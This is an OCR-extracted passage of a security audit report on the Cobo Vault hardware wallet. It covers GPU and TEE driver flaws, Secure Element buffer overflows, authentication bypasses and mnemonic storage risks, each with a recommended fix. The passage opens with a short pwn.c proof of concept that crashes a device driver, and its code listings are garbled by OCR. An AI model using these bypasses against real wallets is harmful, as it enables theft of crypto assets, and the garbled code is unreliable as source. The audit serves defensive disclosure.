simply issuing the MALI_IOC_SOFT_JOB_START in an infinite loop to make the job->id reaches the

MALI_SOFT_JOB_INVALID_ID, which takes less than one minute.

main ()
{
int fd;
_mali_uk_ soft job start s x;
u32 id;
fd = open("/dev/mali", O RDONLY);
if (fd<o0) {
printf("[-] Failed to open device (%s)\n",
goto out;
}

printf("[+] Device opened at %d\n", fd);

x.job_id ptr = (u64)((u32)(&id));

while (1) {
ioctl (fd, MALI_IOC_SOFT JOB START, &x);

close out:
close(fd);
out:
return O;

Listing 3.30: pwn.c

Recommendation
be turned off to prevent the assertion crashes the system.

f#else /* DEBUG */

strerror(errno));

As we see in the definition of MALI_DEBUG_ASSERT(), the DEBUG macro could
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#define MALI_DEBUG CODE(code)

#define MALI_DEBUG PRINT(string ,args) do {} while(0)

#define MALI DEBUG PRINT ERROR(args) do {} while(0)

#define MALI_DEBUG PRINT IF(level ,condition 6 args) do {} while(0)
#define MALI_DEBUG_PRINT ELSE(level ,condition ,hargs) do {} while(0)
#define MALI_DEBUG_PRINT ASSERT(condition ,args) do {} while(0)
#define MALI DEBUG ASSERT POINTER(pointer) do {} while (0)

#define MALI_DEBUG_ ASSERT(condition) do {} while(0)

#endif /* DEBUG x/

Listing 3.31: mali_kernel common.h

3.4 Qut-of-bounds Write in Secure Element Firmware

o |D: PVE-004 e Target: mason commands.c, mason_-
e Severity: Medium wallet.c

e Likelihood: Low e Category: Memory Buffer Errors [29]

e Impact: High e CWE subcategory: CWE-121 [11]

Description

In software, a stack buffer overflow or stack buffer overrun occurs when a program writes to a
memory address on the program’s call stack outside of the intended data structure, which is usually
a fixed-length buffer. The security SoC firmware retrieves data from serial port and interprets them
into commands. Specifically, we found that there are a lot of serious risk in using this issue. All of
the cases are as follows:

Case | As shown in the following code snippets, in mason_execute_cmd(), the previously pushed
command is searched from the stack by stack_search_cMDNo() in line 583. Later on, the index kept
by uncMDNo is used to jump to the specific command handler in line 591.

language

void mason_ execute cmd(pstStackType pstStack)

{
stackElementType pstTLV = NULL;

unCMDNoType unCMDNo = {0};
stack_search_ CMDNo ( pstStack , &pstTLV, &unCMDNo);

if (unCMDNo.buf[0] > CMD H MAX || unCMDNo. buf[1] > GVMD H MAX)
{

mason_cmd _invalid ((void x) pstStack);
return;
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}

gstCmdHandlers [unCMDNo. buf[0] —1] [unCMDNo. buf[1] —1]. pFunc((void#*)pstStack);

Listing 3.32: mason__commands.c

However, when we look into stack_search_CMDNo(), we found that the memcpy() in line 431 fails

to check the size of memory to copy, leading to possible out-of-bounds memory write. Since the

punCMDNo is allocated from stack, the out-of-bounds write may result in control-flow hijacking.

bool stack search CMDNo(pstStackType pstStack, stackElementType xpelement, unCMDNoType x

{

punCMDNo)
stackElementType *pstTLV = pelement;

if (stack search by tag(pstStack, pstTLV, 0x0001))

{
memcpy (punCMDNo—>buf , (*pstTLV)—>pV, (*pstTLV)->L);

return true,;

return false;

Listing 3.33: mason_commands.c

Recommendation Copy fixed size of memory to avoid out-of-bounds write.

bool stack search  CMDNo(pstStackType pstStack, stackElementType xpelement, unCMDNoType x*

{

punCMDNo)
stackElementType *pstTLV = pelement;

if (stack search by tag(pstStack, pstTLV, 0x0001))

{

memcpy (punCMDNo—>buf , (*pstTLV)->pV, sizeof (punCMDNo—>buf));

return true;

return false;

Listing 3.34: mason_commands.c

Case Il As shown in the following code snippets, in mason_cmd0305_get_wallet (), we found that

the memcpy () in line 1159 fails to check the size of memory to copy, leading to possible out-of-bounds

memory write.

static void mason cmd0305 get wallet(void xpContext) {

emRetType emRet = ERT OK;
uint8 t bufRet[2] = {0x00, 0x00};
pstStackType pstS = (pstStackType)pContext;
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stStackType stStack = {{NULL}, -1};
stackElementType pstTLV = NULL;
uint8 t xpath = NULL;

uintlé t path len = 0;

wallet path t wallet path;

char path string[512] = {0};
private _key t derived private key;

chaincode t derived chaincode;

extended key t extended public key;
char base58 ext key[256];
size t baseb8 ext key len = 256;

crypto curve t curve type

CRYPTO_CURVE_SECP256K1;

mason_cmd _init_outputTLVArray(&stStack);

if (emRet = ERT_OK && stack search by tag(pstS, &pstTLV, TLV. T CMD))
{
mason_cmd_append ele to outputTLVArray(&stStack , pstTLV);
¥
else
{
emRet = ERT_CommpFailParam;
¥
if (emRet = ERT_OK && stack search by tag(pstS, &pstTLV, TLV.T HD PATH))
{
path len = pstTLV—>L;
path = (uint8 t x)pstTLV—>pV;
memcpy ((uint8 t =)path string, path, path len);
path string[path _len] = 0;
} else {
emRet = ERT_CommFailParam;
¥

Listing 3.35: mason__commands.c

Since the path_string is allocated from stack, the out-of-bounds write may result in control-flow

hijacking.

Recommendation Check the length to avoid out-of-bounds write.

if
{

1 el

emRet = ERT_OK && stack search by tag(pstS, &pstTLV, TLV.T HD PATH))

path len = pstTLV—>L;

path = (uint8 t x)pstTLV—>pV;

if (path_len >= sizeof(path_string))

{
emRet = ERT_CommFailParam;

} else {
memcpy ((uint8 t *)path _string, path, path_len);
path string[path _len] = 0;

ks

se {

emRet = ERT _CommFailParam;
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Listing 3.36: mason commands.c

Case IlIl  We identified three unsafe memcpy () calls in mason_cmd0307_sign_ECDSA() as follows:

if (stack search by tag(pstS, &pstTLV, TLV_T TOKEN))
{

setting token t token ={0};

memcpy (token .token, (uint8 t x)pstTLV->pV, pstTLV-—>L);

token.length = pstTLV—>L;
if (!mason_ token verify(&token))

{
mason _token delete();
emRet = ERT _TokenVerifyFail;
ks
}
else
{
emRet = ERT needToken;
h

Listing 3.37: mason_commands.c

if (stack search by tag(pstS, &pstTLV, TLV.T HD PATH))

{
path len = pstTLV-—>L;
path = (uint8 t x)pstTLV—>pV;
memcpy ((uint8 t =)path string, path, path len);
path string[path len] = 0;
¥
else
{
emRet = ERT_CommFailParam;
¥

Listing 3.38: mason commands.c

if (stack search by tag(pstS, &pstTLV, TLV_T HASH))
{

hash len = pstTLV—>L;
memcpy (hash , pstTLV-—>pV, hash len);

¥

else

{

emRet = ERT _CommFailParam;

}

Listing 3.39: mason commands.c

Each of them retrieves the length directly from the user-controllable pstTLV->L and memcpy()

from pstTLV->pV to a fixed-size memory buffer allocated from stack, leading to possible control-flow

hijacking attacks.

31/52

PeckShield Audit Report #: 2020-09



193
194
195

197
198
199

201

202

203
204

251
252
253
254
255

Confidential

Recommendation Check the length to copy or copy fixed size of memory buffer.

3.5 Memory Buffer Size Overflow in TrustKernel TEE Driver

e |D: PVE-005 e Target: tee ta mgmt.c

e Severity: Informational e Category: Memory Buffer Errors [29]
e Likelihood: N/A e CWE subcategory: CWE-131 [13]

e Impact: High

Description

In the ioctl handler of the driver bound with /dev/tkcoredrv, the TEE_INSTALL_SYSTA_IOC cmd is dis-
patched to tee_install_sys_ta() with the user-space pointer, u_arg. Within tee_install_sys_ta(), the
ta_inst_desc is filled with the content pointed by u_arg in line 193. With the second copy_from_user()
call, the uuid is filled again with ta_inst_desc.uuid. Later on, a memory chunk is allocated with the
size (sizeof (TEEC_UUID)+ sizeof (uint32_t)+ ta_inst_desc.ta_buf_size). However, this is a integer
overflow while calculating the size of memory to be allocated.

if ((copy from user(&ta inst desc, u_arg, sizeof(struct tee ta inst desc)))) {
return —EFAULT;

by

if (copy from user(&uuid, ta_ inst desc.uuid, sizeof (TEEC UUID))) {
return —EFAULT;

¥

if ((shm = tee _shm_alloc_from rpc(tee, sizeof (TEEC UUID) + sizeof(uint32 t) +
ta_inst_ desc.ta_buf_ size, TEEC MEM NONSECURE)) == NULL) {
pr_err("%s: tee_shm_alloc_ns(%uB) failed\n", _ func__, ta_ inst desc.ta_ buf_ size)

return —ENOMEM;

Listing 3.40: tee ta mgmt.c

As shown in the following code snippets, sizeof (TEEC_UUID) is 16. Since sizeof (uint32_t) is 4, the
total allocated size would be 0 when ta_inst_desc.ta_buf_size is (0x100000000 — 20) which equals
Oxffffffec. Worse, the ta_inst_desc.ta_buf_size is never checked before the allocation.

typedef struct {
uint32 t timelow;
uintlé t timeMid;
uintlé _t timeHiAndVersion;
uint8 t clockSeqAndNode [8];
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} TEEC UUID;

Listing 3.41: tee client api.h

After shm_kva is vmap () 'ed in line 206, the copy_from_user () call in line 215 could corrupt the kernel
memory as the size could be crafted as a really large number (e.g., OxfFffffff) while the size of memory
allocated is way smaller. This out-of-bounds memory write in kernel-space leads to possible privilege
escalation attacks. Fortunately, the copy_from_user() function checks the range of user-space buffer,
ta_inst_desc.ta_buf, so that a large ta_inst_desc.ta_buf_size cannot pass the check. We leave the
likelihood of this loophole as N/A.

if ((shm_kva = vmap(shm—>ns.pages, shm->ns.nr pages, VM MAP, PAGE_KERNEL)) == NULL)
{
pr_err("%s: failed to vmap %zu pages\n",  func__, shm—>ns.nr_ pages);
r = —ENOMEM;

goto exit;

}

memcpy (shm_kva, &uuid, sizeof (TEEC UUID));
memcpy ((char %) shm kva + sizeof (TEEC UUID), &ta inst desc.ta buf size, sizeof(
uint32 _t));

if ((left = copy from user(

(char %) shm_ kva + sizeof (TEEC UUID) + sizeof(uint32 t), ta_inst_ desc.ta_buf,
ta_inst desc.ta_ buf size))) {

Listing 3.42: tee ta mgmt.c

Recommendation Validate ta_inst_desc.ta_buf_size copied from user-space.

3.6 Weak Fingerprint Verification

e |D: PVE-006 e Target: com/cobo/cold/fingerprint/
e Severity: High FingerprintKit.java

e Likelihood: Medium e Category: Business Logic Errors[24]

e Impact: High e CWE subcategory: CWE-288 [15]

Description

The Cobo Vault supports the fingerprint authentication which can be enabled by users. However,
we found that the implementation of verifying the fingerprint could be easily bypassed with a cus-
tomized or compromised Android system. Specifically, startverify() verifies user's fingerprint with
the FingerprintManager(). If the input fingerprint passes the authentication process, the callback

function onAuthenticationSucceeded() would be invoked. It means that the attacker could bypass the
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the FingerprintManager () by calling the onAuthenticationSucceeded() directly. Even worse, the at-
tacker could communicate with the Secure Element via serial port and pretent that she is fingerprint
authenticated.

public void startVerify (@NonNull VerifyListener listener) {

if (mCancellationSignal !'= null) {
mCancellationSignal.cancel();

}

mCancellationSignal = new CancellationSignal ();
isVerifying = true;
Log.w("fpKit", "fp kit startVerify");
fp.authenticate(null, mCancellationSignal, 0,
new FingerprintManager.AuthenticationCallback () {
Q@Override
public void onAuthenticationError(int errorCode, CharSequence
errString) {
listener.onAuthenticationError(errorCode, errString);
isVerifying = false;
mCancellationSignal.cancel();

}

@Override

public void onAuthenticationHelp (int helpCode, CharSequence
helpString) {
listener . .onAuthenticationHelp (helpCode, helpString);

}

@Override

public void onAuthenticationSucceeded (FingerprintManager.
AuthenticationResult result) {
listener.onAuthenticationSucceeded () ;
isVerifying = false;
mCancellationSignal.cancel ();

}

Listing 3.43: com/cobo/cold/fingerprint/ FingerprintKit .java

Recommendation  Since the fingerprint verification mechanism on Android only verifies if
the given fingerprint is legit or not, it's not a good way to authenticate for the access to the
Secure Element. There's always a way to bypass the checks done by Android framework or system
services without the victim's fingerprint. For security reasons, we suggest to remove the fingerprint
authentication feature which we consider a vulnerable point of the system. If this is a mandatory
feature, we suggest to at least pop-up a warning message to let users know the risks. One better
solution is to leverage the Android keystore [1] to generate cryptographic keys with the fingerprint.
The keystore can ensure that the private key can't be retrieved without the specific fingerprint. By
sending the public key to the Secure Element, the fingerprint can be verified with a signature created

with the private key.

34/52 PeckShield Audit Report #: 2020-09



Confidential

3.7 Weak Password Verification

e |ID: PVE-007 o Target: com/cobo/cold/ui/views/
e Severity: High PasswordModal. java

e Likelihood: Medium e Category: Business Logic Errors[24]

e Impact: High e CWE subcategory: CWE-288 [15]

Description

The user-defined password is the default authentication mechanism in Cobo Vault. However, we
identified that the password is only verified in the application layer, which makes it easily to be
bypassed as what we described in Section 3.6. Furthermore, the strength of the password is not
checked when the user setup the password such that the SHA1 (password + salt) password verification

is vulnerable to rainbow table attacks.

118 binding .confirm .setOnClickListener (v —> {

120 Handler handler = new Handler();

121 binding .confirm.setVisibility (View.GONE) ;

122 binding . progress.setVisibility (View.VISIBLE);

123 AppExecutors. getlnstance () .networklO().execute(() —> {

124 boolean verified = Utilities.verifyPassword(activity ,

125 HashUtil . pbkdf(password.get(), Utilities.getRandomSalt(activity)));

Listing 3.44: com/cobo/cold/ui/views/PasswordModal.java

As shown in the above code snippet, the SHA1(password + salt) is passed into verifyPassword()

in line 124.
91 public static boolean verifyPassword (Activity activity , String passwordShal) {
92 SharedPreferences sp = activity.getSharedPreferences (PREFERENCE SECRET,
MODE_ PRIVATE) ;
93 return passwordShal.equals(sp.getString (PREFERENCE KEY PASSWORD, ""));
94 }

Listing 3.45: com/cobo/cold/ Utilities . java

Inside verifyPassword(), the passwordShai string is compared with the PREFERENCE_KEY_PASSWORD
string retrieved from the Android root filesystem (SharedPreferences), which is not a safe way to
keep password hashes.

Recommendation Verify the password inside the Secure Element.
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3.8 Redundant API in Secure Element

e |D: PVE-008 e Target: mason_commands.c

e Severity: Informational e Category: Coding Practice [23]

o Likelihood: N/A e CWE subcategory: CWE-1041 [10]
e Impact: N/A

Description

The Secure Element (SE) is a microprocessor chip which can store sensitive data and run secure apps
such as signing transactions. Since it provides a lot of core security function API for the upper layers
of Cobo Vault, we checked all APIs and identified that some of them are redundant. The following
functions can be removed directly to ensure the safety of the Cobo Vault:

mason cmd0101 com test()
mason _cmd0202 write_sn ()

Listing 3.46: Redundant API

Recommendation Remove obsolete/redundant API.

3.9 Risk of Mnemonic Theft in Application Layer

e |ID: PVE-009 e Target: com/cobo/cold/viewmodel/
e Severity: High SetupVaultViewModel.java

e Likelihood: Medium e Category: Info. Mgmt Errors [28]

e Impact: High e CWE subcategory: CWE-316 [16]

Description

While creating a new wallet or importing a wallet with the mnemonic, the Cobo Vault shows the
mnemonic on the screen and asks the user to verify the mnemonic. In the meantime, the plaintext
mnemonic is temporarily stored in the memory, which leads to the risks of mnemonic theft if bad
actors somehow dump the memory.

private String mnemonic;

public void setMnemonic(String mnemonic) {

this .mnemonic = mnemonic;

¥

Listing 3.47: com/cobo/cold/ui/views/SetupVaultViewModel.java
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private void validateMnemonic(View view) {
String mnemonic = mBinding.table.getWordsList ()

.stream ()
.map(ObservableField :: get)
.reduce((sl, s2) —> sl + " " 4 s2)
.orElse("");

if (viewModel.validateMnemonic(mnemonic)) {
viewModel . setMnemonic (mnemonic) ;
viewModel . writeMnemonic () ;

} else {
Utilities.alert(mActivity ,
getString (R.string . hint),
getString (R.string .wrong_ mnemonic_please check),
getString (R.string.confirm), null);

Listi ng 3.48: com/cobo/cold/ui/fragment/setup/MnemoniclnputFragment.java

private void verifyMnemonic() {
String mnemonic = mBinding.table.getWordsList ()

.stream ()
.map(ObservableField :: get)

.reduce ((sl, s2) —> sl + " " + s2)
.orElse("");

if (mnemonic.equals(viewModel.getRandomMnemonic() .getValue())) {
viewModel . setMnemonic (mnemonic) ;

viewModel . writeMnemonic () ;

} else {
Utilities.alert(mActivity, getString(R.string.hint), getString(R.string.
invalid_mnemonic),

getString (R.string.confirm), null);

by

Listing 3.49: com/cobo/cold/ui/fragment/setup/ConfirmMnemonicFragment java

As shown in the above code snippets, the setMnemonic() method in PasswordModal.java stores
the mnemonic words in memory. The validateMnemonic() method in MnemonicInputFragment.java and
verifyMnemonic() in ConfirmMnemonicFragment.java invoke the setMnemonic() method in two different
scenarios, the creation and import of wallets, respectively. Here, we found no further handling logic
of the sensitive information (i.e., the mnemonic) in memory.

Recommendation  Clean up the mnemonic in memory. In addition, we noticed that it is
inevitable to leave traces in the memory cache even if we do garbage collection right after load-
ing/removing sensitive data (e.g., password, mnemonic, etc.) into/from memory. We leave it as a

known issue.
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3.10 Risk of Mnemonic Theft in Secure Element

e |ID: PVE-010 e Target: mason_wallet.c

e Severity: Low e Category: Credentials Mgmt Errors [26]
e Likelihood: Low e CWE subcategory: CWE-256 [14]

e Impact: High

Description

As a hardware feature, the Secure Element has a built-in flash integrated in the SoC which stores
data with hardware-based encryption. With the hardware encryption mechanism, bad actors have
no chance to retrieve the plaintext data from the flash through external channels (e.g., I/O bus).
This means the only way to get plaintext data from the flash is the firmware running on the Secure
Element, which makes the security of the encryption data (e.g., mnemonic) depend on the integrity
of the Secure Element firmware. Since the mnemonic are written into the flash with no software
encryption as shown in the following code snippets, the hardware encryption scheme leads to risks
of mnemonic theft.

bool mason mnemonic_write(mnemonic_t *mnemonic) {
bool is succeed = false;
is succeed = mason_storage write buffer((uint8 t *)mnemonic, sizeof(*mnemonic),
FLASH ADDR_MNOMONIC 512B) ;

return is succeed;

Listing 3.50: mason_wallet.c

Fortunately, the firmware integrity is ensured by the asymmetric cryptography mechanism in the
patched codebase, which makes the Secure Element firmware hard to be compromised. Based on
that, we set the likelihood of this vulnerability to low.

Recommendation Encrypt the mnemonic with a password or fingerprint which is not kept in
the Secure Element. Therefore, the bad actor cannot decode the encrypted mnemonic even she has

the control of the Secure Element (e.g., control-flow hijacking).
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3.11 Missing Authentication before Deleting Mnemonics in

Secure Element

e |ID: PVE-011 e Target: mason_commands.c

e Severity: Low e Category: Business Logic Errors [24]
e Likelihood: Low e CWE subcategory: CWE-288 [15]

e Impact: Medium

Description

In Cobo Vault, there's a feature to reset the wallet, which essentially deletes the mnemonics. With
the password/fingerprint authenticated in the application layer, the mason_delete_wallet() function
in the Secure Element firmware deletes the mnemonics data. However, if the attacker somehow
bypasses the application layer and calls mason_delete_wallet(), the mnemonics stored in the Secure
Element could be directly cleared. In addition, there's no warning popped up when an user resets
the wallet. This results in the loss of digital assets if the victim makes an mistake.
Recommendation  Verify the password/fingerprint inside the Secure Element before calling
mason_delete_wallet (). In addition, the Cobo Vault should pop up a warning message an user resets

the wallet.

3.12 Missing Authentication before Signing Transactions in

Secure Element

e |ID: PVE-012 e Target: mason_commands.c

e Severity: High e Category: Business Logic Errors [24]
e Likelihood: Medium e CWE subcategory: CWE-288 [15]

e Impact: High

Description

In Cobo Vault, an essential feature is signing the transactions inside the Secure Element with the
transaction data provided by the hot wallet. The signed transactions can later be broadcasted to the
blockchain by the hot wallet app. While reviewing the codebase of the Secure Element, we found
that there's a risk that the bad actor could bypass the authentication and sign arbitrary transactions
inside Secure Element. Specifically, the mason_cmd0307_sign_ECDSA() function in the Secure Element

firmware is called when the password/fingerprint authentication is passed in the application layer.
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However, if an attacker sends the raw transaction data through the serial port directly into the Secure
Element, she can use the mason_cmd0307_sign_ECDSA() the steal all the crypto assets from the victim's
cold wallet.

Recommendation  Verify the password/fingerprint inside the Secure Element before calling
mason_cmd0307_sign_ECDSAQ).

3.13 Missing Integrity Check on Secure Element Firmware

e |D: PVE-013 e Target: mason_iap.c

e Severity: High e Category: Business Logic Errors[24]
o Likelihood: Medium e CWE subcategory: CWE-288 [15]
e Impact: High

Description

In the review of Secure Element firmware source code, we found that the integrity of the firmware
binary file is not verified whiling upgrading the firmware. Although the Cobo Vault performs the
integrity check on the whole firmware upgrade package (update.zip) in the application layer, it leaves
risks of writing malicious programs directly into the Secure Element through the serial port. With the
crafted Secure Element firmware, the attackers could easily dump the mnemonics and other sensitive
data.

Recommendation Implement an asymmetric cryptography scheme to check the integrity of
the firmware inside Secure Element. While packing the firmware, use the private key to create a
signature with the hash of the firmware binary and append it into the firmware package. Inside the
Secure Element, validate the signature of the firmware package before writing it into the flash. This

ensures that the Secure Element firmware is the official release version.
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3.14 Duplicate Code in Secure Element

e |D: PVE-014 e Target: mason commands.c

e Severity: Informational e Category: Coding Practices [23]

e Likelihood: N/A e CWE subcategory: CWE-1041 [10]
e Impact: N/A

Description

While reviewing the Secure Element firmware source code, we identified that there're lots of duplicate

code which makes the codebase hard to maintain. Most of them are related to searching the command

previously pushed into stack and retrieving the corresponding (type, length, value) tuple.

static void mason _cmd0901 usrpwd modify (void * pContext)

{

emRetType emRet = ERT OK;

uint8 t bufRet[2] = {0x00, 0x00};
pstStackType pstS = (pstStackType)pContext;
stStackType stStack = {{NULL}, -1};
stackElementType pstTLV = NULL;

uint8 t * cur_ pwd = NULL;

uintlé t cur pwd len = 0;

uint8 t * new pwd = NULL;

uintl6 t new pwd len = 0;

bool allow modify = false;

mason_cmd_init_outputTLVArray(&stStack);
if (emRet = ERT_OK && stack search by tag(pstS, &pstTLV, TLV. T CMD))
{

mason_cmd_append ele to outputTLVArray(&stStack, pstTLV);

}

else

{

emRet = ERT_CommpFailParam;

¥

if (emRet = ERT_OK)
{
if (stack search by tag(pstS, &pstTLV, TLV.T USRPWD CUR))
{
cur_pwd = (uint8 t *)pstTLV-—>pV;
cur_pwd len = pstTLV-—>L;
// copmare cur pass and store pass
if (mason usrpwd verify(cur_pwd, cur_pwd len))
{
mason_usrcount reset();

allow modify = true;
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else

{

mason _usrcount () ;
emRet = ERT UsrPassVerifyFail;

¥
}
else
{
emRet = ERT needUsrPass;
}

Listing 3.51: mason_ wallet.c

For example, line 2000-2008 in the above code snippet, is implemented in almost all command
handler functions in the Secure Element firmware. After checking if the TLv_T_cMp is in the stack, most
command handler functions also check the specific command (e.g., TLV_T_USRPWD_CUR) and perform
the corresponding process (line 2012-2031). We believe the code flow could be greatly simplified and
modularized.

Recommendation Code refactoring.

3.15 Arbitrary Memory Write in Secure Element

e |ID: PVE-015 e Target: mason_iap.c

e Severity: Medium e Category: Memory Buffer Errors [29]
e Likelihood: Low e CWE subcategory: CWE-787 [12]

e Impact: High

Description

The Cobo Vault has a Secure Element which safely stores the private keys and signs transactions
sent by the wallet App through serial port. In some cases, Cobo may require users to update the
firmware of the Secure Element with a signed firmware package which passes the integrity check. In
our analysis, we identified a loophole in the firmware upgrade process which could be exploited to
corrupt the firmware or even compromise the private keys. As shown in the following code snippets,
the mason_iap_package_process () is called with a memory buffer pointed by pBin along with the length
of the buffer, binLen. In line 172, pBin is sent into mason_iap_boot_decryption() for decryption with
the decrypted output stores in a local buffer, decryption_output. After the decryption, the first four
bytes of decryption_output are extracted and stored into addr in line 177. By adding 0x10000 into
addr, the address is used as the offset for a page-wise memory write operation in line 195.

emRetType mason iap package process(emFwPackTypeType emFwPackType,
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uint8 t *pBin, uint32 t binLen, uint8 t *pFileDigest)

emRetType emRet = ERT OK;

uint32 t addr = OUL;

//static SHA256_CTX sha256ctx;

uint8 t retry = 0;

uint8 t bufSHA256 [SHA256 LEN] = {0};
uint8 t decryption output[PAGE_SIZE + 8];
uint8 t xpage buffer;

emRet = mason_iap boot decryption(pBin, decryption output, binlLen);

if (emRet != ERT_OK) {
return emRet;

¥

buf to u32(&addr, decryption output);
addr += 0x10000;

page buffer = &decryption output [8];
wdt_feed () ;

switch (emFwPackType)

{
case E PACK FIRST:

{

// #message FLASH_ADDR_APP_START
// #error FLASH_ADDR_APP_START
// addr = FLASH_ADDR_APP_START;
//SHA256_init (&sha256ctx) ;

i
case E PACK CONTINUE:

{

for (retry=0; retry <3; retry++)

{
wdt feed () ;

if (Imason iap write page safe(addr, page buffer, PAGE SIZE))

Listing 3.52: mason_iap.c

Here comes the interesting part. If the decryption key or algorithm is somehow compromised, the
bad actor could use this loophole to corrupt an arbitrary page in the address space of the Secure Ele-
ment. The results could be a DoS attack or even hijack the control flow of mason_iap_package_process
() to compromise the mnemonics which are also stored in a page of the firmware flash.

Recommendation Validate the addr to ensure the page-wise memory write can only update
the firmware code partition. Since the firmware is upgraded piece-by-piece, we also recommend
performing an overall integrity check after the firmware upgrade is completed. This may requires

extra memory or flash space.
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3.16 Denial-of-Service Loophole in perf event

e |ID: PVE-016 e Target: kernel/events/core.c

e Severity: Informational e Category: Concurrency Issues [25]
e Likelihood: N/A e CWE subcategory: CWE-821 [21]
e Impact: Low

Description

This is a known loophole detected by syzkaller [34]. Specifically, __perf_event_period() performs

another raw_spin_lock_irq(&ctx->lock) inside. However, in line 3938, when ctx->is_active is false

, the lock held in line 3937 would be a deadlock inside __perf_event_period().

Fortunately, the

perf_event_open system call is not reachable due to SELinux policy, we set the likelihood to N/A,

which makes the severity of this loophole informational.

retry :
if ('task function call(task, _ perf event period, &pe))
return 0;

raw_spin_lock irq(&ctx—>lock);

if (ctx—>is_active) {
raw _spin_unlock irq(&ctx—>lock);
task = ctx—>task;
goto retry;

¥
__perf_event_period(&pe);
Listing 3.53: kernel/event/core.c

static int _ perf event period(void xinfo)
{

struct period event xpe = info;

struct perf_event *event = pe—>event,

struct perf_event_context *xCctx = event—>ctx;

u64 value = pe—>value;

bool active;

raw _spin_lock(&ctx—>lock);

Listing 3.54: kernel/event/core.c

Recommendation Apply this patch [35].
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3.17 Denial-of-Service Loophole in Sound Driver

e |ID: PVE-017 e Target: sound/core/seq

e Severity: Informational e Category: Concurrency Issues [25]
e Likelihood: N/A e CWE subcategory: CWE-362 [17]
e Impact: Low

Description

This is a known loophole reported as CVE-2018-1000004 [3].
Recommendation Apply these two patches [6, 7].

3.18 Use of Out-of-range Pointer Offset in Secure Element

e |D: PVE-018 e Target: mason_iap.c

e Severity: Medium e Category: Pointer Issues [30]

e Likelihood: Low e CWE subcategory: CWE-823 [22]
e Impact: High

Description

The Secure Element retrieves data from serial port and interprets them into commands. Specifically,

in mason_execute_cmd (), the previously pushed command is searched from the stack by stack_search_cMpNo
O in line 583. Later on, the index kept by uncMDNo is used to jump to the specific command handler
in line 591.

language
void mason_ execute cmd(pstStackType pstStack)
{
stackElementType pstTLV = NULL;
unCMDNoType unCMDNo = {0};
stack_search_ CMDNo ( pstStack , &pstTLV, &unCMDNo);
if (unCMDNo.buf[0] > CMD H MAX || unCMDNo. buf[1] > GMD H MAX)
{
mason_cmd _invalid ((void x) pstStack);
return;
¥
gstCmdHandlers [unCMDNo. buf [0] —1] [unCMDNo. buf[1] —=1]. pFunc((void#*)pstStack);
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Listing 3.55: mason _commands.c

However, when we look into stack_search_CMDNo(), we found that the tag 0x0001 is searched and
the caller does not check the return value. This results in the use of out-of-range function pointer
against the gstCmdHandlers array when the attacker sends a non-0x0001 command through the serial
port. The reason is that the default value of uncMDNo is set to 0, which makes the malicious command

bypasses the checks in line 585 in the code snippets above.

bool stack search CMDNo(pstStackType pstStack, stackElementType xpelement, unCMDNoType *

punCMDNo)
{
stackElementType *pstTLV = pelement;
if (stack search by tag(pstStack, pstTLV, 0x0001))
{
memcpy (punCMDNo—>buf , (*pstTLV)-—>pV, (*pstTLV)->L);
return true;
¥
return false;
}

Listing 3.56: mason_commands.c

Recommendation Check the return value of stack_search_CMDNo().

3.19 Out-of-bounds Write in TrustKernel TEE Driver

e |D: PVE-019 e Target: tee supp com.c

e Severity: Critical e Category: Memory Buffer Errors [29]
e Likelihood: High e CWE subcategory: CWE-787 [20]

e Impact: High

Description

In the write handler of the driver bound with /dev/tkcoredrv, tee_supp_write() copies length of the
user-controllable butfer into kernel space through copy_from_user () (line 215). It means the content
of rpc->commFromUser could be manipulated by an attacker who write() to the device node.

if (length > 0 && length < sizeof(rpc—>commFromUser)) {
uint32 t i;
unsigned long r;

mutex lock(&rpc—>insync);
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if ((r = copy from user(&rpc—>commFromUser, buffer, length))) {

Listing 3.57: tee supp com.c

However, in line 227, the for-loop retrieves the type and buffer from the rpc->commFromUser . cmds []
array with an unchecked boundary rpc->comnFromUser.nbr_bf. Specifically, the buffer pointer retrieved
from rpc->commFromUser.cmds[i] (line 229) would be passed into find_vma() to find the memory
segment, vma, which matches the address (line 237). If the vma is not NULL and vma->vm_private_data
is not NULL as well, shm->resv.paddr would be written into rpc->commFromUser.cmds[i].bufer in line
254. Since the attacker can craft the rpc->commFromUser.nbr_bf, this results in an out-of-bounds write

in kernel space, leading to privilege escalation.

for (i = 0; i < rpc—>commFromUser.nbr_ bf; i++) {
uint32 t type = rpc—>commFromUser.cmds[i]. type;
void xbuffer = rpc—>commFromUser.cmds[i]. buffer;

if (type != TEE RPC BUFFER || buffer == NULL)
continue ;

if (type & TEE RPC_BUFFER NONSECURE) {
} else {

struct tee shm xshm;
struct vm _area_struct xvma = find _vma(current—>mm, (unsigned long)
buffer);

if (vma = NULL)
continue;

shm = vma—>vm _private data;

if (shm = NULL) {
pr_err(”Invalid vma->vm_private_data [%s:%d:%d]\n", current-—>comm,
current—>tgid , current—>pid);

rpc—>res = —EINVAL;
mutex unlock(&rpc—>insync);
up(&rpc—>datafromuser);

ret = —EINVAL;
goto out;

b

rpc—>commFromUser.cmds[i]. buffer = (void %) (unsigned long) shm—>resv.
paddr;

Listing 3.58: tee supp com.c

Recommendation Validate the rpc->commFromUser.nbr_bf from user-space. Also, fix the sanity
checks in line 209 (i.e., the length == sizeof (rpc->commFromUser) case). Otherwise, the write()

operation would always fail when user wants to write TEE_RPC_BUFFER_NUMBER (5) cmds into the driver.
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4 Conclusion

In this audit, we thoroughly analyzed the Cobo Vault documentation and implementation. The
audited system does involve various intricacies in both design and implementation. The current code
base is well organized and those identified issues are promptly confirmed and fixed.

We emphasize that using a hardware wallet alone does not make you invincible against social
engineering, physical threats or human errors. As always, users need to use common sense, and apply

basic security principles to protect their valuable assets.
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